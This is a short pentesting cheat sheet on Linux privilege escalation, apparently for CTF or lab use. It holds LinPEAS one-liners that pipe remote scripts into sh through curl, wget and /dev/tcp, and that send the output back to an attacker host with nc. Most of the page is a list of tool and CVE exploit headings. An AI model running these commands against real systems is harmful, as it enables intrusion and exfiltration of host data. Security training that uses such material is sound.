PrivilageEsc Linux
Linux Privilege Escalation Scripts
01. LinPEAS
## ------------------| Remote download and execrute from Github
curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh
wget -q -O - https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh ## ------------------| Local Network
curl 10.10.10.10/linpeas.sh | sh
## ------------------| Without CURL
sudo nc -q 5 -lvnp 80 < linpeas.sh #Host
cat < /dev/tcp/10.10.10.10/80 | sh #Victim
## ------------------| Excute from memory and send output back to the host
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim
wget -q -O - 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim
nc -lvnp 9002 | tee linpeas.out #Host02. LinEnum
03. Linux Exploit Suggester 2
04. Linux Smart Enumeration
05. PSPY
06. Common exploits
06.0 Abusing Shell Features
06.1 Shellshock
06.2 LXD
06.3 logrotate
06.4 If you have or can?
06.5 SUDO Vulnerability
06.6 Ansible
06.7 PwnKit [CVE-2021-4034]
06.8 OverlayFS 2021 [CVE-2021-3493]
06.9 DirtyPipe [CVE-2022-0847]
06.10 Enlightenment [CVE-2022-37706]
06.11 OverlayFS 2023 [CVE-2023-0386]
06.12 GameOver(lay) [CVE-2023-2640 & CVE-2023-32629]
06.13 Other
07. Kernel Privesc
Last updated
